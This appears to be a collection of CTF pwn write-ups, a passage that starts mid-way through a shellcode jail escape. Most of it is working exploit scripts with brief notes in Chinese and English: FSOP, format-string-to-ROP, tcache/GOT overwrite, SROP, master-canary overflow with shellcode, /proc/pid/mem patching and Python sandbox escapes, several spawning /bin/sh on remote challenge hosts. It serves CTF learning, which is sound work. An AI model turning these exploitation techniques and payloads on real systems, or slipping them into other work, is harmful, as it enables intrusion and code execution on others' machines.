    mov eax, 0x58
    syscall

    lea rdi, [rip + offset a]
    lea rsi, [rip + offset b]
    lea rdx, [rip + offset c]  
    mov r10, 0xfffffffd 
    mov rax, 0xf9       
    
    syscall
    ret
a:
    .asciz "user"
b:
    .asciz "mtk:key1"
c:
    .asciz "Payload:data"
init:
    .asciz "/init"
chal:
    .asciz "/chal"
request_key:
    .asciz "/sbin/request-key"
bash:
    .asciz "/bin/bash"

""")

print(shellcode.hex())

Just make /sbin/request_key is symlink to /init, when it call call_sbin_request_key it will create new /init process without filter

Also because /init run “exec /chal”, I also make /chal is symlink to bash

佬提到他的思路来自去年的Am I not root?,我在笔记里记过(misc笔记第129条),但完全忘了……那题是个jail escape,我就是记得也不会把那题和shellcode联系起来。

整体shellcode相比预期解非常简单。0x58是symlink的系统调用号,0x57是unlink的系统调用号,0xf9是sys_request_key的系统调用号。首先让/sbin/request_key变为/init的symlink,然后删除掉/chal,为接下来做/bin/bash的symlink腾出位置。让/chal为/bin/bash的symlink。最后调用sys_request_key,这个系统调用内部会调用/sbin/request_key,于是效果等同于调用/init。/init里的内容是exec /chal,于是又等同于调用/bin/bash。这/init应该是kctf jail里的一个文件

onewrite

  1. itz_me_strikerr
#!/usr/bin/env python3



from pwn import *


e  = ELF("./vuln_patched")
#r = process("./vuln_patched")
r = remote("onewrite.chal.imaginaryctf.org",1337)
libc = ELF("./libc.so.6")
r.recvline()
libc_base = int(r.recvline().strip(),16) - libc.sym.printf
log.info("The libc base of the process is " + hex(libc_base))
r.sendline(hex(libc_base + libc.sym._IO_2_1_stdout_))
payload = p64(0x11111111fbad2005) + b"; /bin/sh\x00\x00\x00\x00\x00\x00\x00" + p64(libc_base + 0x21a803) * 5 + p64(libc_base + 0x21a804) + p64(0) * 4 + p64(libc_base + 0x21aaa0) + p64(1) + p64(0xffffffffffffffff) + p64(0) + p64(libc_base + 2214512) + p64(0xffffffffffffffff) + p64(0) + p64(libc_base + 0x21a8d0) + p64(0) * 3 + p64(0xffffffff) + p64(0) * 2 + p64(libc_base + 0x216018 - 0x38) + p64(libc_base + libc.sym._IO_2_1_stderr_) + p64(libc_base + libc.sym._IO_2_1_stdout_) + p64(libc_base + 0x216018) + p64(libc_base + 0x3a040) + p64(libc_base + 0x2a160) + p64(0) + p64(libc_base + libc.sym.system) + p64(0) * 7 + p64(0) * 28 + p64(libc_base + 0x21a828)
print(len(payload))
r.interactive()
r.sendline(payload)
r.interactive()

Format muscle

  1. phandinhluc_at19a

this is my format muscle script. use fmt vuln to leak lib base, stack infor then use fmt vuln change return addr of printf function -> ROP

#!/usr/bin/env python3

from pwn import *


def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)


def intFromByte(p, size):
    o = p.recv(size)[::-1].hex()
    output = '0x' + o
    leak = int(output, 16)
    return leak


def get_exe_base(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None

    with open(maps_file, 'r') as f:
        exe_base = int(f.readline().split('-')[0], 16)

    if exe_base is None:
        raise Exception("Executable base address not found.")

    return exe_base


def leak(p, payload):
    sl(p, payload)
    ru(p, b'|')
    leak = int(ru(p, b'|').replace(b'|', b''), 16)
    return leak


def GDB(p):
    base = get_exe_base(p.pid)
    gdb.attach(p, gdbscript='''
        b*main+92
        c
    ''')
    input()


def main():
    context.binary = exe = ELF("./format-muscle_patched", checksec=False)
    libc = ELF("./libc.so.6", checksec=False)
    ld = ELF("./ld-musl-x86_64.so.1", checksec=False)
    # p = process(exe.path)
    p = remote("format-muscle.chal.crewc.tf",1337)
    # GDB(p)
    # leak information
    payload = b'%p'*32 + b'|%p|'
    exe_leak = leak(p, payload)

    payload = b'%p'*36 + b'|%p|'
    stack = leak(p, payload)

    payload = b'%p'*40 + b'|%p|'
    lib_leak = leak(p, payload)

    print("exe leak:", hex(exe_leak))
    print("stack:", hex(stack))
    print("lib leak:", hex(lib_leak))

    exe_base = exe_leak - 4505
    lib_base = lib_leak - 110558
    print("exe base:", hex(exe_base))
    print("lib base:", hex(lib_base))
    target = stack - 0x158
    pop_rdi = lib_base + 0x00000000000152a1
    system = lib_base + 0x4e0c0
    # change data : overwrite {return address} of printf@ function
    add_rsp_0x90 = lib_base + 0x0000000000058faa
    package = {
        add_rsp_0x90 >> 0 & 0xffff: target,
        add_rsp_0x90 >> 16 & 0xffff: target+2,
        add_rsp_0x90 >> 32 & 0xffff: target+4,
    }
    # GDB(p)
    order = sorted(package)
    off = 20-2
    pa = f"%{order[0] -off}c".encode() + b'%c'*off + b'%hn'
    pa += f"%{order[1] - order[0]}c".encode() + b'%hn'
    pa += f"%{order[2] - order[1]}c".encode() + b'%hn'
    pa = pa.ljust(0x70)
    pa += flat(package[order[0]], 0, package[order[1]], 0, package[order[2]])
    pa += flat(
        pop_rdi,
        target+0xb8,
        system,
        b'/bin/sh\0'
    )
    sl(p, pa)
    p.interactive()


if __name__ == "__main__":
    main()
    # crew{why_n0t_%1337$p_1n_musl???}
  1. carixo
#!/usr/bin/env python3

from pwn import *

exe = ELF("./format-muscle_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-musl-x86_64.so.1")

context.binary = exe
context.log_level = "debug"

#p = exe.process()
p = remote("format-muscle.chal.crewc.tf", 1337)

def send(payload):
    p.sendline(payload)
    return p.recvline().strip(b"\n")
p.recvuntil("== proof-of-work: disabled ==\n")
leak = send("%p."*41).split(b".")
exe.address = int(leak[32], 16) - 4505
ld.address = int(leak[-2], 16) - 110558
stack_leak = int(leak[34], 16)
printf_ret = stack_leak - 352

print(hex(ld.address))
print(hex(exe.address))
print(hex(printf_ret))

rop = ROP(ld)
rop.system(next(ld.search(b"/bin/sh\0")))


shit = (fmtstr_payload(6, {printf_ret:rop.chain()}, no_dollars=True, write_size="short"))
print(shit)
print(len(shit))
#gdb.attach(p)
p.sendline(shit)
p.interactive()
  1. lebronli1986

i used stdin->read to solve it:

https://gist.github.com/lebr0nli/46040b005879df9936a9ab64c0f1caf4

heap01

  1. jgreem
from pwn import *

#HEAP IS SO FREEEEEEEEE!!!!!!!!!!!!!!!!!!!!

e = ELF('heap01')
context.terminal = ['tmux', 'splitw', '-h']

#io = process(e.path)
#io = gdb.debug('./heap01', '''b *func0 + 337
#               c''')

io = remote("2024.sunshinectf.games", 24006 )
win = e.symbols['win'] + 5
#junk
io.sendline(b'abcppp')
io.recvline()
io.recvline()
io.recvline()
io.recvline()

#grab given buffer
buf = int(io.recvline(),16) + 0x28 - 0x8

#malloc size taches are size 0x10
size = 16 
io.sendlineafter(b'size',str(size).encode())

#tcache win, this is to add the buffer of my choice into the tcache so malloc 
#gives me this buffer when called

print(io.sendlineafter(b"Index", str(-0x220 - 36).encode()))
io.sendlineafter(b"Value", str(buf).encode() )

#set the count to 1 so the tcache actually works
io.sendlineafter(b"Index", str(-0x254).encode())
io.sendlineafter(b"Value", str(1).encode() )

#spam win 
io.sendline( str(win).encode())
io.sendline( str(win).encode())
io.sendline( str(win).encode())
io.interactive()
  1. 0xm4hm0ud
#!/usr/bin/env python3

from pwn import *

elf = ELF("./heap01_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

context.binary = elf
context.log_level = "DEBUG"
context.terminal = "cmd.exe /c start wsl".split()

# p = elf.process(); gdb.attach(p, "b*0x40139A\nc")
p = remote("2024.sunshinectf.games", 24006)

p.sendlineafter(b"leak? \n", b"no")
p.sendlineafter(b"size: \n", str(0x22000).encode())

idx = (libc.got.strlen + 0x26000) // 8 - 2
p.sendlineafter(b"Index: \n", str(idx).encode())
p.sendlineafter(b"Value: \n", str(elf.sym.win).encode())

p.interactive()

Monkey's Paw

  1. mheidari98
from pwn import *
context.log_level = "critical"

i = lambda idx: f"'{'_'*idx}'.__len__()"
f = lambda key: f"'{'_'*5}{key}{'_'*2}'['{'_'*5}'.__len__():'{'_'*(5+len(key))}'.__len__()]"

base = f"'_____'.__class__.__base__.__subclasses__()[{i(147)}]"
code = base + f".__init__.__globals__[{f('sys')}].__getattribute__({f('modules')})[{f('builtins')}].__getattribute__({f('__import__')})({f('os')}).__getattribute__({f('system')})({f('sh')})"

p = remote(*'jail.ctf.intigriti.io 1351'.split())
p.sendlineafter(b'for: ', code.encode())
p.interactive()
  1. oh_word

Use basic tricks you can find on hacktricks to recover builtins. Once you have builtins, I used __doc__ to craft strings and __import__('os').__getattriubute__('system')('sh')

import re

def make_solve_script() -> str:
    # recovers builtins from _frozen_importlib._BlockingOnManager and does a |= (__ior__) with the current (empty) builtins dict, then from there we can use 
    # all builtins as normal so we can just do a normal escape with __import__("os").__getattribute__("system")("sh")
    _BlockingOnManager_idx = 117
    base = f"""\
    [
        __globals__:=[].__class__.__base__.__subclasses__()[{_BlockingOnManager_idx}].__init__.__globals__,
        __builtins__.__ior__(__globals__[[*__globals__][5]]),
        __import__("os").__getattribute__("system")("sh")
    ]
    """

    # -~0 == 1, so just chain `num` of those to form any number
    def gen_num(num):
        assert num >= 0
        return "-~" * num + "[].__len__()"

    # so you can generate the solve for this without needing to be on the same version as remote
    builtins___doc__ = "Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all 'built-in'\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThis module is not normally accessed explicitly by most\napplications, but can be useful in modules that provide\nobjects with the same name as a built-in value, but in\nwhich the built-in of that name is also needed."

    # after recovering builtins, we have the __doc__ of builtins so we can craft strings using that
    def gen_str(string):
        chunks = []
        for c in string:
            idx = builtins___doc__.index(c)
            chunks.append(f"__doc__[{gen_num(idx)}]")

        return "+".join(chunks)

    code = re.sub(r"\d+", lambda match: gen_num(int(match.group(0))), base)
    code = re.sub(r'"(.+?)"', lambda match: gen_str(match.group(1)), code)
    code = code.replace("    ", "").replace("\n", "")

    return code

if __name__ == '__main__':
    print(make_solve_script())
    # [__globals__:=[].__class__.__base__.__subclasses__()[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()].__init__.__globals__,__builtins__.__ior__(__globals__[[*__globals__][-~-~-~-~-~[].__len__()]]),__import__(__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]+__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]).__getattribute__(__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]+__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]+__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]+__doc__[-~-~-~-~[].__len__()]+__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]+__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()])(__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()]+__doc__[-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[].__len__()])]

Genie in an ELF

  1. sethboy
p = remote(IP, PORT)

def setbyte(address: int, byte: int):
    p.sendlineafter(b'wish?', hex(address).encode())
    p.sendlineafter(b'here?', hex(byte).encode())

libc_base = p.recvline_contains(b'libc.so.6')

libc = int(libc_base.decode().split('-')[0], 16)
success(f'{libc=:x}')

offset = 0x7ffff7c47a21 - 0x7ffff7c00000
# libc = 0x7ffff7c00000
# setbyte(0x7ffff7c47a21+1, 0xa8)
# setbyte(0x7ffff7c47a21+2, 0x7a)
setbyte(libc + offset + 1, 0x05)
setbyte(libc + offset + 2, 0x7b)

p.sendline(b'cat /flag.txt')
p.interactive()

Mixed Signals

  • 个人解法

看了别人的解法后觉得小丑竟是我自己……我真的太擅长化简为繁了

from pwn import *
filename="./chal"
file=ELF(filename)
libc=ELF("./libc.so.6")
context.arch="amd64"
p=remote("mixed-signal.chals.nitectf2024.live",1337,ssl=True)
bss=0x404070+0x700
read=0x004011f3
syscall=0x0040119a
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_write
sigframe.rdi = 1
sigframe.rsi = file.got['puts']
sigframe.rdx = 6
sigframe.rsp = bss+0x80
sigframe.rbp = bss+0x88
sigframe.rip = syscall
p.recvuntil("freakbob calling,pickup!\n")
p.sendline(b'a'*8+p64(bss+0x88)+p64(read))
pause() #这些pause是必需的……删了会导致打不通
p.sendline(b'a'*16+p64(file.plt['read'])+p64(syscall)+bytes(sigframe)+p64(read))
pause()
p.sendline(p64(read).ljust(14,b'a'))
pause()
libc.address=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts']
print(f"{hex(libc.address)=}")
rax=next(libc.search(asm('pop rax; ret'), executable=True))
pause()
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_sendfile
sigframe.rdi = 1
sigframe.rsi = 5
sigframe.rdx = bss+0x500
sigframe.r10 = 50
sigframe.rsp = bss+0x80+24+248
sigframe.rbp = bss+0x300
sigframe.rip = syscall
p.sendline(p64(rax)+p64(15)+p64(syscall)+bytes(sigframe)+p64(0x0040148e))
p.interactive()

思路是搞栈迁移,第一个sigframe用来泄漏libc地址,第二个sigframe用来输出flag(题目已经提前打开了flag,所以有现成的fd)。事实上直接删掉第一个sigframe直接上flag的sigframe就好了……

Recover Your Vision

  • lepnoxic

seccomp dump shows that only open read write is allowed, a thread is created with arbitary read on an rwx region, there is a common vulnerability with threads called as a master canary, a master canary is located in the thread region itself which is used as the canary, so if you override there aswell, so you can match both values, with that we have gotten bof on the region and the region pointer already given, we jump on the region, from here shellcode execution.

the challenge name blind meaning both stdin stdout was closed, i tried opening them again didn't work, dup2 could have worked but it's not in the seccomp filter, thus was thinking of doing a timing attack side channel, but my teammate suggested just give it in stderr, and that worked, so yeah could have been a much harder challenge.

#!/usr/bin/env python3

from pwn import *

exe = ELF("./blind_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("55af8adb9a3305ab611b8f6df481c080.chal.ctf.ae", 443, ssl=True)

    return r


def main():
    r = conn()

    # gdb.attach(r, '''
    #     gef config context.nb_lines_stack 30
    #     b *vuln+222
    #     c
    #     canary
    # ''')

    r.recvuntil(b'Buffer: 0x')

    output = int(r.recvline(), 16)

    print(hex(output))

    payload = asm(shellcraft.amd64.linux.cat2(b'flag.txt', fd=2) + \
                shellcraft.amd64.linux.exit(0))
    
    payload = payload + b'\x90' * (2048 - len(payload))

    r.sendlineafter(b'shellcode: ', b'2248')

    r.sendlineafter(b'Escape>', b'A' * 0x78 + b'\x90' * 16 + p64(output + 0x90)  + payload + p64(output) + b'A' * (2216 - 2200) + b'\x90' * 8)

    r.interactive()


if __name__ == "__main__":
    main()

js-blacklist-v2

  1. steakenthusiast

Hint 1: You need RCE, so you might have to use a module like execSync somehow. One of Babel's parser options should stand out to you

Hint 2: Type coercion is your friend when it comes to getting arbitrary strings

Hint 3 (Big): Javascript may allow some interesting syntax when it comes to importing modules dynamically

secure-sandbox

  1. 个人
from pwn import *
context.arch="amd64"
p=remote("2e06aba1-4509-4088-a20d-3bb4b6e0a7a9.x3c.tf",31337,ssl=True)
p.recvuntil("pid: ")
pid=p.recvline(keepends=False).decode()
print(f"{pid=}")
shellcode=b'H1\xd2H1\xf6H\xbf//bin/shVWH\x89\xe7H1\xc0\xb0;\x0f\x05'
payload=shellcraft.open(f"/proc/{pid}/mem",2,0)+shellcraft.lseek(3,0x00401c8f)
print(payload)
"""
mov [rdi],rax
mov rax,1
mov rsi,rdi
mov rdi,1
mov rdx,8
syscall
"""
#shellcode=b"\x48\x89\x07\x48\xC7\xC0\x01\x00\x00\x00\x48\x89\xFE\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC2\x08\x00\x00\x00\x0F\x05"
"""
mov rax,60
xor rdi,rdi
syscall
"""
#shellcode=b"\x48\xC7\xC0\x3C\x00\x00\x00\x48\x31\xFF\x0F\x05"
#p.sendlineafter(":",asm(payload))
"""
    push 3
    pop rdi
    push 0x1c
    pop rdx
    mov rsi,rcx
    add rsi,18
    push 1
    pop rax
    syscall
"""
p.sendlineafter(":",asm(payload)+b"\x6A\x03\x5F\x6A\x1C\x5A\x48\x89\xCE\x48\x83\xC6\x12\x6A\x01\x58\x0F\x05"+shellcode)
p.interactive()

https://github.com/captainGeech42/ctf-writeups/tree/master/google2020/writeonly

关键是搞/proc/[pid]/mem。很诡异的一点是我在本地process和remote都能open /proc/pid/mem,但是自己搭的题目提供的docker里却不行……后面在服务器里找到了作者的解答:

TLDR: The Challenge needed to be run with the SYS_PTRACE capability, but the platform did not have a way to add custom capabilities at the time the challenge was released, so the platform had to be patched.

docker搭出的机器里的/proc/sys/kernel/yama/ptrace_scope为1,而且the cluster didn't allow ptrace in the containers。这两个设置会对特定的文件启用保护,/proc/[pid]/mem就在其中。把/proc/sys/kernel/yama/ptrace_scope设为0就能正常打开/proc/[pid]/mem文件了

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment